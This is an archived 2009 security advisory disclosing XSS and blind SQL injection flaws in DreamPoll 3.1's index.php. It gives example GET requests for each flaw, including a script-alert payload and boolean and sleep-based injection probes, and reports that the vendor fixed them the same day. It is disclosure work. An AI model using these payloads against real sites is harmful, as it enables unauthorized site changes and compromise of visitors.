AOH :: HP Unsorted D :: BT-21771.HTM

DreamPoll 3.1 Vulnerabilities



DreamPoll 3.1 Vulnerabilities
DreamPoll 3.1 Vulnerabilities



During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application.  These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application.  Details of the vulnerabilities are as follows:=0D
=0D
XSS=0D
=97=97=97=97=97=97=97=97-=0D
File: index.php=0D
Variable: recordsPerPage=0D
Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=1>=94>alert(911)%3B=0D
=0D
Blind SQL/Xpath Injection=0D
=97=97=97=97=97=97=97=97-=0D
File: index.php=0D
Variable: sortField=0D
Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20=0D
=0D
Blind SQL Injection (Timing)=0D
=97=97=97=97=97=97=97=97-=0D
File: index.php=0D
Variables: sortField, sortDesc, pageNumber=0D
Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20=0D
=0D
While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well.  The vendor was notified on 09/28/2009 and a fix was released the same day.  If you are a current user of this software, contact the vendor for the available fix.=0D
=0D
http://www.infosecstuff.com 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.